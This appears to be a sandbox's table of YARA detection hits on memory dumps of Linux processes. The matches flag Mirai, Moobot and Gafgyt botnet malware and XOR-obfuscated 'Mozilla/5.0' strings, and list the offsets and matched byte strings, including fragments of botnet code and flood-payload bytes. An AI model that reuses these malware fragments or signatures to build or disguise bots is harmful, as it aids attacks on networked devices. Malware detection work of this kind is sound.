6882.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6882.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6521.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6687.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6687.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6687.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6687.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6687.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6687.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7007.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6538.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7222.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7043.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6585.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6698.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6698.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6698.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6698.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6698.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6698.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6506.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6884.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7108.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7108.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7108.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7108.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7108.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7108.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6719.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6719.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6719.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6719.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6719.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6719.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6645.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6482.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
